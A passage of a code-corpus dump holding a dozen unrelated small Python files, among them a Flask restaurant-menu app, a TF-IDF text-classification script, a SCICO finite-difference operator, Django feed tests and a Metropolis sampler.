everyone. Our community is based on \\\nmutual respect, tolerance, and encouragement, and we are working to help each \\\nother live up to these principles. We want our community to be more diverse: \\\nwhoever you are, and whatever your background, we welcome you.\"\n\ntexto.split(' ')\nresultado = []\nk = 0\ntexto2 = \"\"\nwhile k < len(texto):\n if texto[k] in \",.;/<>:?!@#$%&*()_+=-][{}´`~^ºª§\\|°\":\n texto2 += \"\"\n else:\n texto2 += texto[k]\n k += 1\n\npalavras = texto2.split(' ')\nprefixos = [\"P\",\"p\",\"Y\",\"y\",\"T\",\"t\",\"H\",\"h\",\"O\",\"o\",\"N\",\"n\"]\nfor x in palavras:\n if x.startswith(tuple(prefixos)) or x.endswith(tuple(prefixos)):\n resultado.append(x)\n\nprint(resultado) \n","sub_path":"lista4/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"305158715","text":"\"\"\"\nParse the talks\n\"\"\"\n\nimport os\nfrom typing import Dict, List, Union\nimport yaml\n\nfrom common import ROOT_DIR, make_cventry, make_section, make_subsection\n\nDATA_FILE = os.path.join(ROOT_DIR, \"data\", \"teaching.yml\")\nTEX_FILE = os.path.join(ROOT_DIR, \"tex\", \"teaching.tex\")\n\n\nif __name__ == \"__main__\":\n with open(DATA_FILE, \"r\") as file:\n teaching = yaml.full_load(file)\n\n output = [make_section(\"Teaching Experience\")]\n\n for university in teaching:\n output.append(make_subsection(university))\n courses_sorted = sorted(\n teaching[university], key=lambda x: x[\"year\"], reverse=True\n )\n for course in courses_sorted:\n output.append(\n make_cventry(\n arg1=str(course[\"year\"]),\n arg2=str(course[\"role\"]),\n arg3=str(course[\"course\"]),\n arg6=course[\"description\"],\n )\n )\n\n with open(TEX_FILE, \"w\") as file:\n\n for string in output:\n file.write(string)\n","sub_path":"src/teaching.py","file_name":"teaching.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"512419326","text":"from datetime import datetime\n\nfrom django.contrib.auth.models import User\nfrom django.core.cache import cache\n\nfrom nose.tools import eq_\nfrom taggit.models import Tag\nfrom pyquery import PyQuery as pq\n\nfrom sumo.urlresolvers import reverse\nfrom sumo.helpers import urlparams\nfrom questions.feeds import QuestionsFeed, TaggedQuestionsFeed\nfrom questions.models import Question\nfrom questions.tests import TaggingTestCaseBase\n\n\nclass ForumTestFeedSorting(TaggingTestCaseBase):\n\n def test_tagged_feed(self):\n \"\"\"Test the tagged feed.\"\"\"\n tag = Tag.objects.get(slug='green')\n items = TaggedQuestionsFeed().items(tag)\n eq_(2, items[0].id)\n eq_(1, len(items))\n\n cache.clear()\n\n q = Question.objects.get(pk=1)\n q.tags.add('green')\n q.updated = datetime.now()\n q.save()\n items = TaggedQuestionsFeed().items(tag)\n eq_(1, items[0].id)\n eq_(2, len(items))\n\n def test_tagged_feed_link(self):\n \"\"\"Make sure the tagged feed is discoverable on the questions page.\"\"\"\n url = urlparams(reverse('questions.questions'), tagged='green')\n response = self.client.get(url)\n doc = pq(response.content)\n feed_links = doc('link[type=\"application/atom+xml\"]')\n eq_(2, len(feed_links))\n eq_('Recently updated questions', feed_links[0].attrib['title'])\n eq_('/en-US/questions/feed', feed_links[0].attrib['href'])\n eq_('Recently updated questions tagged green',\n feed_links[1].attrib['title'])\n eq_('/en-US/questions/tagged/green/feed',\n feed_links[1].attrib['href'])\n\n def test_no_inactive_users(self):\n \"\"\"Ensure that inactive users' questions don't appear in the feed.\"\"\"\n u = User.objects.get(pk=118533)\n u.is_active = False\n u.save()\n q = Question(title='Test Question', content='Lorem Ipsum Dolor',\n creator_id=118533)\n q.save()\n assert q.id not in [x.id for x in QuestionsFeed().items()]\n","sub_path":"apps/questions/tests/test_feeds.py","file_name":"test_feeds.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"50456298","text":"#!/usr/bin/env python3\nimport subprocess\nfrom logging import Logger\n\nimport log\nfrom jinja2 import Template\n\nDEFAULT_LOGGER: Logger = log.create_default_logger()\n\n\ndef main():\n logger = DEFAULT_LOGGER\n\n result=subprocess.check_output('powershell -Command \"[Guid]::NewGuid()\"')\n guid_gitbash=result.decode().splitlines()[3]\n logger.debug(f\"guid_gitbash = {guid_gitbash}\")\n\n with open('settings.jsonc.j2') as j2_file:\n j2_content = j2_file.read()\n logger.debug(j2_content)\n\n template = Template(j2_content)\n rendered = template.render(guid_gitbash=guid_gitbash)\n logger.debug(rendered)\n\n with open('settings.json', 'w') as output:\n output.write(rendered)\n\n pass\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"roles/windows-terminal/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"354074643","text":"# -*- coding: utf-8 -*-\n# Copyright (C) 2020-2021 by SCICO Developers\n# All rights reserved. BSD 3-clause License.\n# This file is part of the SCICO package. Details of the copyright and\n# user license can be found in the 'LICENSE' file distributed with the\n# package.\n\n\"\"\"Finite difference linear operator class.\"\"\"\n\n\n# needed to annotate a class method that returns the encapsulating class\n# see https://www.python.org/dev/peps/pep-0563/\nfrom __future__ import annotations\n\nfrom typing import Optional\n\nimport numpy as np\n\nimport scico.numpy as snp\nfrom scico.typing import Axes, DType, JaxArray, Shape\nfrom scico.util import parse_axes\n\nfrom ._linop import LinearOperator\nfrom ._stack import LinearOperatorStack\n\n__author__ = \"\"\"Luke Pfister , Michael McCann \"\"\"\n\n\nclass FiniteDifference(LinearOperatorStack):\n \"\"\"Finite Difference operator.\n\n Computes finite differences along the specified axes, returning the results in\n a `DeviceArray` (whenever possible) or `BlockArray`. See :class:`LinearOperatorStack` for details\n on how this choice is made.\n\n Example\n -------\n >>> A = FiniteDifference((2, 3))\n >>> x = snp.array([[1, 2, 4],\n [0, 4, 1]])\n >>> (A @ x)[0]\n DeviceArray([[-1, 2, -3]], dtype=int32)\n >>> (A @ x)[1]\n DeviceArray([[ 1, 2],\n [ 4, -3]], dtype=int32)\n \"\"\"\n\n def __init__(\n self,\n input_shape: Shape,\n input_dtype: DType = np.float32,\n axes: Optional[Axes] = None,\n append: Optional[float] = None,\n circular: bool = False,\n jit: bool = True,\n **kwargs,\n ):\n r\"\"\"\n Args:\n input_shape: Shape of input array.\n input_dtype: `dtype` for input argument.\n Defaults to `float32`. If `LinearOperator` implements complex-valued operations,\n this must be `complex64` for proper adjoint and gradient calculation.\n axes: Axis or axes over which to apply finite difference operator. If not specified,\n or `None`, differences are evaluated along all axes.\n append: Value to append to the input along each axis before taking differences.\n Zero is a typical choice. If not `None`, `circular` must be ``False``.\n circular: If ``True``, perform circular differences, i.e., include x[-1] - x[0].\n If ``True``, `append` must be `None`.\n jit: If ``True``, jit the evaluation, adjoint, and gram functions of the LinearOperator.\n \"\"\"\n\n self.axes = parse_axes(axes, input_shape)\n\n if axes is None:\n axes_list = range(len(input_shape))\n elif isinstance(axes, (list, tuple)):\n axes_list = axes\n else:\n axes_list = (axes,)\n single_kwargs = dict(append=append, circular=circular, jit=False, input_dtype=input_dtype)\n ops = [FiniteDifferenceSingleAxis(axis, input_shape, **single_kwargs) for axis in axes_list]\n\n super().__init__(\n ops,\n jit=jit,\n **kwargs,\n )\n\n\nclass FiniteDifferenceSingleAxis(LinearOperator):\n \"\"\"Finite Difference operator acting along a single axis.\"\"\"\n\n def __init__(\n self,\n axis: int,\n input_shape: Shape,\n input_dtype: DType = np.float32,\n append: Optional[float] = None,\n circular: bool = False,\n jit: bool = True,\n **kwargs,\n ):\n r\"\"\"\n Args:\n axis: Axis over which to apply finite difference operator.\n input_shape: Shape of input array.\n input_dtype: `dtype` for input argument.\n Defaults to `float32`. If `LinearOperator` implements complex-valued operations,\n this must be `complex64` for proper adjoint and gradient calculation.\n append: Value to append to the input along `axis` before taking differences.\n Defaults to 0.\n circular: If ``True``, perform circular differences, i.e., include x[-1] - x[0].\n If ``True``, `append` must be `None`.\n jit: If ``True``, jit the evaluation, adjoint, and gram functions of the LinearOperator.\n \"\"\"\n\n if not isinstance(axis, int):\n raise TypeError(f\"Expected `axis` to be of type int, got {type(axis)} instead\")\n\n if axis >= len(input_shape):\n raise ValueError(\n f\"Invalid axis {axis} specified; `axis` must be less than `len(input_shape)`={len(input_shape)}\"\n )\n\n self.axis = axis\n\n if append is not None and circular:\n raise ValueError(\n \"`append` and `circular` are mutually exclusive but both were specified\"\n )\n\n self.circular = circular\n self.append = append\n\n if self.append is None and not circular:\n output_shape = tuple(x - (i == axis) for i, x in enumerate(input_shape))\n else:\n output_shape = input_shape\n\n super().__init__(\n input_shape=input_shape,\n output_shape=output_shape,\n input_dtype=input_dtype,\n jit=jit,\n **kwargs,\n )\n\n def _eval(self, x: JaxArray) -> JaxArray:\n if self.circular:\n # set append to the first slice along the specified axis\n ind = tuple(\n slice(0, 1) if i == self.axis else slice(None) for i in range(len(self.input_shape))\n )\n append = x[ind]\n else:\n append = self.append\n\n return snp.diff(x, axis=self.axis, append=append)\n","sub_path":"scico/linop/_diff.py","file_name":"_diff.py","file_ext":"py","file_size_in_byte":5624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"585868891","text":"# Example 1:\n\n# Input: nums = [1,2,3,1]\n# Output: 2\n# Explanation: 3 is a peak element and \n# your function should return the index number 2.\n\nclass Solution(object):\n def findPeakElement(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n if len(nums) == 1:\n return 0\n elif len(nums) == 2:\n if nums[0] > nums[1]:\n return 0\n elif nums[0] < nums[1]:\n return 1\n else:\n if nums[0] > nums[1]:\n return 0\n elif nums[-1] > nums[-2]:\n return len(nums)-1\n else:\n for i in range(1,len(nums)-1):\n if nums[i] > nums[i-1] and nums[i] > nums[i+1]:\n return i","sub_path":"find_peak_element.py","file_name":"find_peak_element.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"331633200","text":"\nfrom collections import OrderedDict\n\nfrom colander import Mapping, Invalid\n\n\nclass OpenMapping(Mapping):\n \"\"\"\n A mapping where the keys are free-form and the values a specific type.\n \"\"\"\n\n def _impl(self, node, value, callback):\n value = self._validate(node, value)\n\n error = None\n result = {}\n\n for index, (k, v) in enumerate(value.iteritems()):\n key_node = node[\"key\"]\n value_node = node[\"value\"].clone()\n value_node.name = k\n\n try:\n name = callback(key_node, k)\n result[name] = callback(value_node, v)\n except Invalid as e:\n if error is None:\n error = Invalid(node)\n error.add(e, index)\n\n if error is not None:\n raise error\n\n return result\n\n\nclass SortedOpenMapping(OpenMapping):\n def _impl(self, node, value, callback):\n result = OpenMapping._impl(self, node, value, callback)\n return OrderedDict(sorted(result.items()))\n","sub_path":"colander_tools/mapping.py","file_name":"mapping.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"426848166","text":"#while // enquanto *** você define onde para//\n#for // para cada *** [0, 1, 2, 3] // \n\n# numero = int(input(\"Digite: \"))\n\n\n# for i in range(1,11):\n# conta = i * numero\n\n# print(i,'x', numero,'=', conta)\n \n# contador = 0\n# while True:\n# contador = contador + 1\n# conta = numero * contador\n\n# if contador >= 10:\n# break\n\n# if conta % 2 == 0:\n# continue\n \n# print(conta)\n\n\n# pessoas = [\"Lucas\", \"Cleyson\", \"Bruno\", \"Luigi\"]\n\n\n# for index, pessoa in enumerate(pessoas):\n# print(\"Esse é o valor:\", pessoa)\n# print(\"Essa é a posição\", index)\n\n\n# faça um program que receba 4 notas e mostre a média\n# deve ser feito com lista\n# equação // soma das notas / pelo tamanho da lista\n\n# somaDasNotas = 0\n\n# for i in range(4):\n# somaDasNotas += float(input(\"Nota: \"))\n\n\n# media = soma / 4\n# print(media)\n\n# notas = []\n\n# from random import randint\n\n# numAleatorio = randint(1, 100)\n\n# print(numAleatorio)\n\n# for i in range(numAleatorio):\n# nota = randint(1, 100)\n# notas.append(nota)\n# print(nota)\n\n\n# tamanhoNotas = len(notas)\n# soma = sum(notas)\n\n# print(soma / tamanhoNotas)\n\n\n\n\nfrom random import randint\nmega = []\n\n\nfor i in range(6):\n num = randint(1, 100)\n \n while num in mega:\n num = randint(1, 100)\n \n mega.append(num)\n\nprint(mega)\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"63686310","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr 27 19:45:48 2020\r\n\r\n@author: Varsha\r\n\"\"\"\r\ndef romanToInt(s):\r\n lst=list(s)\r\n sum1=0\r\n j=0\r\n while(j answer:\n answer = val\n return answer\n\nex1 = [2, 2, 2, 3]\nex2 = [6, 5, 7, 3, 4, 2]\nprint(solution(ex2))","sub_path":"Programmers/2020엔테크/test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"40094077","text":"import torch.nn as nn\n\n\nclass Net(nn.Module):\n def __init__(self, n_feature):\n super(Net, self).__init__()\n\n self.relu = nn.ReLU(inplace=True)\n\n self.hidden1 = nn.Linear(n_feature, 512) # hidden layer\n self.bn1 = nn.BatchNorm1d(512)\n\n self.hidden2 = nn.Linear(512, 512) # hidden layer\n self.bn2 = nn.BatchNorm1d(512)\n\n self.hidden3 = nn.Linear(512, 512) # hidden layer\n self.bn3 = nn.BatchNorm1d(512)\n\n self.hidden4 = nn.Linear(512, 512) # hidden layer\n self.bn4 = nn.BatchNorm1d(512)\n\n self.hidden5 = nn.Linear(512, 512) # hidden layer\n self.bn5 = nn.BatchNorm1d(512)\n\n self.hidden6 = nn.Linear(512, 512) # hidden layer\n self.bn6 = nn.BatchNorm1d(512)\n\n self.hidden7 = nn.Linear(512, 256) # hidden layer\n self.predict = nn.Linear(256, 1) # output layer\n\n def forward(self, batch):\n output_layer1 = self.bn1(self.relu(self.hidden1(batch)))\n output_layer2 = self.bn2(self.relu(self.hidden2(output_layer1)))\n output_layer3 = self.bn3(self.relu(self.hidden3(output_layer2)))\n output_layer4 = self.bn4(self.relu(self.hidden4(output_layer3)))\n output_layer5 = self.bn5(self.relu(self.hidden5(output_layer4)))\n output_layer6 = self.bn6(self.relu(self.hidden6(output_layer5)))\n\n output_layer7 = self.hidden7(output_layer6)\n output_preds = self.predict(output_layer7)\n return output_preds\n\n","sub_path":"Code/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"34228668","text":"from collections import defaultdict\n\n\n\n################################################################\n# this is a file w=get_clustr_sequences.py > gene_to_cluster.txt\n# eg:\n#Effector\tGPALN_009669-T1\t3\n#busco\tGPALN_006604-T1\t17\n#Effector\tGPALN_002295-T1\t21\ngene_to_type = defaultdict(str)\ngene_to_cluster = defaultdict(str)\ncluster_to_gene = defaultdict(str)\ntype_count = defaultdict(int)\n#with open(\"RBBH_cluster_assignmenr.txt\") as fh:\nwith open(\"orthofinder_cluster_assignment.tab\") as fh:\n for line in fh:\n if line.startswith(\"#\"):\n continue\n if not line.strip():\n continue # if the last line is blank\n data = line.rstrip().split()\n gene_type = data[0]\n gene = data[1]\n cluster = data[2]\n gene_to_type[gene]= gene_type.rstrip()\n gene_to_cluster[gene.rstrip()] = cluster.rstrip()\n cluster_to_gene[cluster.rstrip()] = gene.rstrip()\n\n\ncluster_dn_ds = defaultdict(str)\n#with open(\"RBBH_no_gaps_DN_DS.txt\") as fh:\nwith open(\"orthofinder_no_gaps_DN_DS.txt\") as fh:\n for line in fh:\n if line.startswith(\"#\"):\n continue\n if not line.strip():\n continue # if the last line is blank\n data = line.rstrip().split()\n cluster = data[0]\n cluster = cluster.split(\"_\")[2]\n dn_ds = data[-2].rstrip()\n dn_ds = dn_ds.replace(\"o3=\", \"\")\n cluster_dn_ds[cluster.rstrip()] = dn_ds.rstrip()\n gene = cluster_to_gene[cluster]\n dn_ds = cluster_dn_ds[cluster.rstrip()]\n gene_types = gene_to_type[gene]\n if float(dn_ds) > 1.0:\n type_count[gene_types] + 1\n #if gene_types == \"busco\":\n #print(\"%s\\t%s\\t%s\\t%s\" %( gene, gene_types, cluster, dn_ds))\n if gene_types == \"RXLR\":\n # continue\n print(\"%s\\t%s\\t%s\\t%s\" %( gene, gene_types, cluster, dn_ds))\n\n\nprint(\"othofinder BUSCO\", (1.0/228)*100, \" %\")\nprint(\"othofinder RXLR\", (63.0/314)*100, \" %\")\nprint(\"RBBH RXLR\", (4.0/142)*100, \" %\")\nprint(\"BUSCO RXLR\", (0.0/142)*100, \" %\")\n","sub_path":"cluster_assignment/get_DN_DS_results.py","file_name":"get_DN_DS_results.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"154413987","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 16 13:45:53 2018\n建立VSM,模型,并把向量list存到文件中去\n@author: x\n\"\"\"\nfrom os import listdir,mkdir,path\nimport re\nfrom nltk.corpus import stopwords\nimport nltk\nfrom random import randint\nfrom collections import Counter\nimport math\npa = 'E:/20news-18828' #数据读取路径\ntargettrain = 'E:/dataminingdata/train' #训练数据存储路径\ntargettest = 'E:/dataminingdata/test' #测试数据存储路径\nvectortrainpath = 'E:/dataminingdata/trainvector' #训练数据生成向量存储路径\nvectortestpath = 'E:/dataminingdata/testvector' #测试数据生成向量存储路径\ndef createFiles(): #读取文件进行预处理并写入到新的文件中去\n srcFilesList = listdir(pa)\n for i in range(len(srcFilesList)):\n dataFilesDir = pa + '/' + srcFilesList[i] # 20个文件夹每个的路径\n dataFilesList = listdir(dataFilesDir) # 每个文件夹中每个文件的路径\n for j in range(len(dataFilesList)):\n x = -1\n m = randint(1,10)\n n = randint(1,10)\n if j%10 == n or j%10 == m: #将文件分为80%的训练数据和20%的测试数据\n x = 1 #标记为1则分为测试数据\n else:\n x = 0 #标记为0则分为训练数据\n createProcessFile(srcFilesList[i],dataFilesList[j],x)# 调用createProcessFile()在新文档中处理文本\n print ('%s %s' % (srcFilesList[i],dataFilesList[j]))\ndef createProcessFile(srcFilesName,dataFilesName,x): #将预处理完的数据存储到新文件中区,一行一个单词\n if x == 0:\n targetDir = targettrain + '/' + srcFilesName \n targetFile= targettrain + '/' + srcFilesName\\\n + '/' + dataFilesName\n else:\n targetDir = targettest + '/' + srcFilesName \n targetFile= targettest + '/' + srcFilesName\\\n + '/' + dataFilesName\n if path.exists(targetDir)==False:\n mkdir(targetDir)\n else:\n print ('%s exists' % targetDir)\n srcFile = pa +'/'+ srcFilesName + '/' + dataFilesName\n fw = open(targetFile,'w')\n fr = open(srcFile,'r',errors = 'replace')\n dataList = fr.readlines()\n fr.close()\n for line in dataList:\n resLine = lineProcess(line) # 调用lineProcess()处理每行文本\n for word in resLine:\n #for word in line:\n fw.write('%s\\n' % word) #一行一个单词\n \n fw.close()\ndef lineProcess(line): #调用nltk对数据进行预处理\n stopwords = nltk.corpus.stopwords.words('english') #去停用词\n porter = nltk.PorterStemmer() #词干分析\n splitter = re.compile('[^a-zA-Z]') #去除非字母字符,形成分隔\n words = [porter.stem(word.lower()) for word in splitter.split(line)\\\n if len(word)>0 and\\\n word.lower() not in stopwords]\n return words\ndef creatediccount(): #计算词频和idf\n n = filecount() #计算文件数量\n wordMap = {} #存储词频\n worddf = {} #存储df\n newWordMap = {}\n fileDir = targettrain \n sampleFilesList = listdir(fileDir)\n for i in range(len(sampleFilesList)):\n sampleFilesDir = fileDir + '/' + sampleFilesList[i]\n sampleList = listdir(sampleFilesDir)\n for j in range(len(sampleList)):\n sampleDir = sampleFilesDir + '/' + sampleList[j]\n temp = open(sampleDir).readlines()\n tempdic = Counter(temp) #调用counter函数计算文件单词的词频\n for key,value in tempdic.items(): \n key = key.strip('\\n') #去除空格\n wordMap[key] = wordMap.get(key,0) + value #计算词频\n worddf[key] = worddf.get(key,0) + 1 #计算原始df\n #只返回出现次数大于2的单词\n for key, value in wordMap.items():\n if value > 2:\n newWordMap[key] = worddf[key]\n sortedNewWordMap = sorted(newWordMap.items()) #将词典按字母顺序排序\n newworddf = { }\n for i in sortedNewWordMap:\n newworddf[i[0]] = math.log10(n/i[1]) #计算真实tf,\n #newworddf[i[0]] = i[1]\n #for key,value in newworddf.items():\n # print(key+str(value))\n # print ('wordMap size : %d' % len(sortedNewWordMap))\n #print (newworddf)\n return newworddf\ndef filecount(): #计算文件数量\n n = 0\n srcFilesList = listdir(targettrain)\n for i in range(len(srcFilesList)):\n dataFilesDir = targettrain + '/' + srcFilesList[i] \n dataFilesList = listdir(dataFilesDir)\n n = n + len(dataFilesList)\n return n\ndef createvocabulary(diccount):#生成字典列表\n #diccount = creatediccount()\n vocabulary = [ ]\n for key,value in diccount.items():\n vocabulary.append(key)\n print (len(vocabulary))\n return vocabulary\ndef computetf(dic,vocabulary): #dic是个字符串列表,计算df,vocabulary是词典\n dicVector = {}\n for i in dic:\n if i in vocabulary: #只有在词典的单词才计算,不在词典的词语略过\n if i in dicVector.keys():\n dicVector[i] = dicVector[i]+1\n else:\n dicVector[i] = 1\n m = max(dicVector, key=lambda x: dicVector[x]) #求文件中出现词频最大单词的索引\n w = dicVector[m]\n for key,value in dicVector.items():\n dicVector[key] = value/w #tf用文件中出现词频数除以文件中出现次数最大的单词次数 \n return dicVector\ndef computevector(inpath,savepath):#生成向量\n idf = creatediccount() #idf 的值 存在字典里\n classfrom = [] #��存向量类别\n vectorclass = [] #保存向量\n vocabulary = createvocabulary(idf)#保存词典\n srcFilesList = listdir(inpath)\n for i in range(len(srcFilesList)):\n dataFilesDir = inpath + '/' + srcFilesList[i] # 20个文件夹每个的路径\n dataFilesList = listdir(dataFilesDir) #每个文件夹中每个文件的路径\n for j in range(len(dataFilesList)):\n a = dataFilesDir+'/'+dataFilesList[j]\n b = srcFilesList[i]+'/'+dataFilesList[j]\n classfrom.append(b)\n fr = open(a,'r')\n temp = fr.readlines()\n fr.close()\n for k in range(len(temp)):\n temp[k] = temp[k].strip()\n #print (temp) \n vector = computetf(temp,vocabulary)\n for key,value in vector.items():\n vector[key] = idf[key]*value\n vectorclass.append(vector)\n #print(vectorclass[0])\n #print(vectorclass[1])\n #print(vectorclass[2])\n for i in range(len(vectorclass)): #将向量写到文件中去\n tpath = classfrom[i].split('/')\n fpath = savepath + '/' + classfrom[i]\n targetvectordir = savepath + '/'+ tpath[0]\n if path.exists(targetvectordir)==False:\n mkdir(targetvectordir)\n fw = open(fpath,'w')\n for key,value in vectorclass[i].items():\n fw.write( key +'/'+ str(value)+'\\n')\n fw.close()\n print('done')\n return classfrom,vectorclass \ncomputevector(targettrain,vectortrainpath)\ncomputevector(targettest,vectortestpath)\n#creatediccount() \n#print (filecount())","sub_path":"实验一VSM模型和knn算法/vsm.py","file_name":"vsm.py","file_ext":"py","file_size_in_byte":7260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"480267785","text":"from flask import Flask, render_template, url_for, request, redirect, flash, jsonify\napp = Flask(__name__)\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom database_setup import Base, Restaurant, MenuItem\n\n\nengine = create_engine('sqlite:///restaurantmenu.db')\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\n@app.route('/')\n@app.route('/restaurants')\ndef showRestaurants():\n\trestaurants = session.query(Restaurant).all()\n\treturn render_template('restaurants.html', restaurants=restaurants)\n\n\n@app.route('/restaurants//edit', methods=['GET','POST'])\ndef editRestaurant(restaurant_id):\n\trest = session.query(Restaurant).filter_by(id=restaurant_id).one()\n\tif request.method == 'POST':\n\t\tif request.form['name']:\n\t\t\trest.name = request.form['name']\n\t\t\tsession.add(rest)\n\t\t\tsession.commit()\n\t\treturn redirect(url_for('showRestaurants'))\n\telse:\n\t\treturn render_template('editrestaurant.html', rest=rest, restaurant_id =restaurant_id)\n@app.route('/restaurants//delete', methods=['GET','POST'])\ndef deleteRestaurant(restaurant_id):\n\trest = session.query(Restaurant).filter_by(id=restaurant_id).one()\n\tif request.method == 'POST':\n\t\tsession.delete(rest)\n\t\tsession.commit()\n\t\treturn redirect(url_for('showRestaurants'))\n\telse:\n\t\treturn render_template('deleterestaurant.html', rest=rest, restaurant_id =restaurant_id) \n\n\n@app.route('/restaurants/new', methods=['GET','POST'])\ndef newRestaurant():\n\tif request.method == 'POST':\n\t\tnewrest = Restaurant(name=request.form['name'])\n\t\tsession.add(newrest)\n\t\tsession.commit()\n\t\treturn redirect(url_for('showRestaurants'))\n\telse:\n\t\treturn render_template('newrestaurant.html')\n\n@app.route('/restaurants/')\n@app.route('/restaurants//menu')\ndef showMenu(restaurant_id):\n\trestaurant = session.query(Restaurant).filter_by(id=restaurant_id).one()\n\titems = session.query(MenuItem).filter_by(restaurant_id= restaurant_id).all()\n\treturn render_template('menu.html', items=items, restaurant=restaurant)\n\n\n@app.route('/restaurants//menu/new', methods=['GET','POST'])\ndef newMenu(restaurant_id):\n\tif request.method =='POST':\n\t\tnewitem = MenuItem(name=request.form['name'], restaurant_id=restaurant_id, \n\t\t\tdescription=request.form['description'], price=request.form['price'], course=request.form['course'])\n\t\tsession.add(newitem)\n\t\tsession.commit()\n\t\treturn redirect(url_for('showMenu', restaurant_id=restaurant_id))\n\telse:\n\t\treturn render_template('newmenuitem.html', restaurant_id=restaurant_id)\n\n@app.route('/restaurants//menu//edit', methods=['GET','POST'])\ndef editMenu(restaurant_id, menu_id):\n\tedititem= session.query(MenuItem).filter_by(id=menu_id).one()\n\n\tif request.method == 'POST':\n\t\tif request.form['name']:\n\t\t\tedititem.name=request.form['name']\n\t\tif request.form['description']:\n\t\t\tedititem.description=request.form['description']\n\t\tif request.form['price']:\n\t\t\tedititem.price=request.form['price']\n\t\tif request.form['course']:\n\t\t\tedititem.course=request.form['course']\n\t\tsession.add(edititem)\n\t\tsession.commit()\n\t\treturn redirect(url_for('showMenu', restaurant_id=restaurant_id))\n\telse:\n\t\treturn render_template('editmenuitem.html', restaurant_id=restaurant_id, menu_id=menu_id, i=edititem)\n\n\n\n\n@app.route('/restaurants//menu//delete', methods=['GET','POST'])\ndef deleteMenu(restaurant_id, menu_id):\n\tdeletedItem = session.query(MenuItem).filter_by(id=menu_id).one()\n\tif request.method == 'POST':\n\t\tsession.delete(deletedItem)\n\t\tsession.commit()\n\t\treturn redirect(url_for('showMenu', restaurant_id=restaurant_id))\n\telse:\n\t\treturn render_template(\n\t\t\t'deletemenuitem.html', restaurant_id=restaurant_id, menu_id=menu_id, item=deletedItem)\n\n@app.route('/restaurants/JSON')\ndef restaurantsJSON():\n\trestaurants= session.query(Restaurant).all()\n\treturn jsonify(MenuItems=[i.serialize for i in restaurants])\n\n@app.route('/restaurants//menu/JSON')\ndef menusJSON(restaurant_id):\n\titems= session.query(MenuItem).filter_by(restaurant_id=restaurant_id).all()\n\treturn jsonify(MenuItems=[i.serialize for i in items])\n\n\n@app.route('/restaurants//menu//JSON')\ndef menusitemJSON(restaurant_id, menu_id):\n\titem= session.query(MenuItem).filter_by(restaurant_id=restaurant_id, id=menu_id).one()\n\treturn jsonify(MenuItems=[item.serialize])\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n\tapp.debug = True\n\tapp.run(host = '0.0.0.0', port = 5000)","sub_path":"vagrant/Lesson_1/finalproject.py","file_name":"finalproject.py","file_ext":"py","file_size_in_byte":4535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"78846173","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom time import time\n\ndef QHO_ground(x):\n \"\"\"\n Uso: devuelve amplitud de probabilidad del estado base del Oscilador Armónico cuántico\n \"\"\"\n return np.pi**(-0.25)*np.exp(-x**2/2.)\n\ndef metropolis(N=int(1e6),x0=0.0,delta=0.5,prob_amplitude_sampling=QHO_ground):\n \"\"\"\n Uso: devuelve x_hist lista con N valores de x muestreados de la densidad de probabilidad\n (definida por la amplitud de probabilidad prob_amplitude_sampling) por el algoritmo\n Metrópolis.\n\n N: int -> número de iteraciones para el algoritmo Metrópolis. \n x0: float -> valor de x con el que el algoritmo inicia el muestreo.\n delta: float -> tamaño máximo del paso en cada iteración de \"camino\n aleatorio\" \n usado por la cadena de Markov.\n prob_amplitude_sampling: func -> función de densidad de probabilidad a muestrear\n \"\"\"\n # Iniciamos lista que almacena valores de posiciones escogidos por el algoritmo\n x_hist = [x0]\n N = int(N)\n for k in range(N):\n # Proponemos nueva posición para x con distribución uniforme centrada en valor anterior\n xnew = x_hist[-1] + np.random.uniform(-delta,delta)\n # Calculamos probabilidad de aceptancia del algoritmo Metrópolis\n acceptance_prob = min(1,(np.abs(prob_amplitude_sampling(xnew)/prob_amplitude_sampling(x_hist[-1])))**2)\n # Escogemos si aceptamos o no el valor de x propuesto\n if np.random.uniform() < acceptance_prob:\n x_hist.append(xnew)\n else:\n x_hist.append(x_hist[-1])\n return x_hist\n\ndef run_metropolis(N=1e5, x0=0.0, delta_x=0.5, prob_amplitude_sampling=QHO_ground, \n plot=True, showplot=True, 